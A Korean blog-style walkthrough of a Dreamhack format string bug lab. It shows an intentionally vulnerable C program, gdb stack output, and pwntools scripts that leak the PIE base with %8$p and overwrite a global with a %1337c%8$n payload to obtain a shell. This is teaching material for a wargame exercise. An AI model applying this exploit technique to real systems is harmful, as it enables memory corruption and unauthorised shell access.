Exploit Tech: Format String Bug

Sisyphus·2022년 7월 18일
0

Dreamhack - System Hacking

목록 보기
29/49

실습 코드

// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror("read");
    exit(1);
  }
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\n') i--;
    buf[i] = 0;
  }
}

int changeme;

int main() {
  char buf[0x20];
  
  setbuf(stdout, NULL);
  
  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}

printf(buf) 부분에서 포맷 스트링 버그가 발생합니다.



보호 기법

$ checksec fsb_overwrite
[*] '/home/ubuntu/dreamhack/fsb_overwrite'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Canary를 제외한 모든 방어기법이 걸려있습니다.



익스플로잇 설계

1. changeme 주소 구하기

changeme 변수 값을 조작하려면 주소를 알아야 하는데, PIE 방어기법이 걸려 있어서 주소가 실행할 때 마다 바뀝니다.

그래서 PIE 베이스 주소를 구해줘야 합니다.

2. changeme를 1337로 설정하기

get_string 으로 입력을 받을 때 changeme 주소를 스택에 저장하면 %n 으로 changeme의 값을 조작할 수 있습니다.
1337 바이트 길이 문자열을 출력하고 %n 을 이용하면 changeme 값을 1337 로 설정할 수 있습니다.



익스플로잇

1. changeme 주소 구하기

printf(buf) 에 break point를 걸고 실행해서 아무값이나 입력해보면 

gef➤  r
Starting program: /home/ion/dreamhack/Exploit_Tech_Format_String_Bug/fsb_overwrite
12345678

───────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffde70│+0x0000: "12345678"$rsp, $rsi, $rdi
0x007fffffffde78│+0x0008: 0x0000000000000000
0x007fffffffde80│+0x0010: 0x00555555400940  →  <__libc_csu_init+0> push r15
0x007fffffffde88│+0x0018: 0x00555555400730  →  <_start+0> xor ebp, ebp
0x007fffffffde90│+0x0020: 0x007fffffffdf80  →  0x0000000000000001
0x007fffffffde98│+0x0028: 0xda7c534d927fa600
0x007fffffffdea0│+0x0030: 0x00555555400940  →  <__libc_csu_init+0> push r15      ← $rbp
0x007fffffffdea8│+0x0038: 0x007ffff7a03c87  →  <__libc_start_main+231> mov edi, eax
─────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x5555554008f9 <main+60>        lea    rax, [rbp-0x30]
   0x5555554008fd <main+64>        mov    rdi, rax
   0x555555400900 <main+67>        mov    eax, 0x0
 → 0x555555400905 <main+72>        call   0x5555554006e0 <printf@plt>

rsp+16 주소에 __libc_csu_init+0 의 주소인 0x00555555400940 가 들어가 있습니다.
이 주소는 코드 영역에 해당하는 주소이기 때문에 0x00555555400940 - symbols(__libc_csu_init) 을 하면 PIE 베이스를 구할 수 있습니다.


이를 위해 먼저 rsp+16 의 값을 릭해야 하는데

[RSP+16] 은 포맷 스트링의 8번째 인자이기 때문에, %8$p 를 이용해서 릭할 수 있습니다


from pwn import *

def slog(name, addr):
        return success(": ".join([name, hex(addr)]))

p = process("./fsb_overwrite")
elf = ELF("./fsb_overwrite")

context.arch = "amd64"


# [1] Get Address of changeme
p.sendline("%8$p")
leak = int(p.recvline()[:-1], 16)
code_base = leak - elf.symbols["__libc_csu_init"]
changeme = code_base + elf.symbols["changeme"]

slog("code_base", code_base)
slog("chagneme", changeme)

$ python3 get_changeme.py
[+] Starting local process './fsb_overwrite': pid 574
[*] '/home/ubuntu/dreamhack/fsb_overwrite'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] code_base: 0x7f8b9fe00000
[+] chagneme: 0x7f8ba000101c
[*] Stopped process './fsb_overwrite' (pid 574)

2. 1337 길이의 문자열 출력

포맷 스트링의 width는 출력의 최소 길이를 지정하고 출력한 문자가 최소 길이보다 작으면 그만큼 패딩 문자를 추가해주기 때문에, %1337c 를 해주면 1337 길이의 문자열을 출력할 수 있습니다.


3. changeme 덮어쓰기

%1337c%8$n 을 하면 8번째 인자인 rsp+16 에 문자열의 길이인 1337 을 대입하게 됩니다.
그래서 changeme 값이 1337 로 덮어쓰여지게 됩니다.

from pwn import *

def slog(name, addr):
        return success(": ".join([name, hex(addr)]))

p = process("./fsb_overwrite")
elf = ELF("./fsb_overwrite")

context.arch = "amd64"


# [1] Get Address of changeme
p.sendline("%8$p")
leak = int(p.recvline()[:-1], 16)
code_base = leak - elf.symbols["__libc_csu_init"]
changeme = code_base + elf.symbols["changeme"]

slog("code_base", code_base)
slog("changeme", changeme)


# [2] Overwrite changeme
payload = "%1337c"  # 1337 길이의 문자열
payload += "%8$n"   # changeme 주소를 문자열 길이로 덮어씀
payload += "A"*6    # 8의 배수를 맞추기 위한 패딩
payload = payload.encode() + p64(changeme)     # 덮어쓸 changeme 주소를 넣음

p.sendline(payload)

p.interactive()

$ python3 get_changeme.py
[+] Starting local process './fsb_overwrite': pid 840
[*] '/home/ubuntu/dreamhack/fsb_overwrite'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] code_base: 0x7f3d2ca00000
[+] changeme: 0x7f3d2cc0101c
[*] Switching to interactive mode









                                                                                              PAAAAAA\x1c\xc0,=\x7f
$

0개의 댓글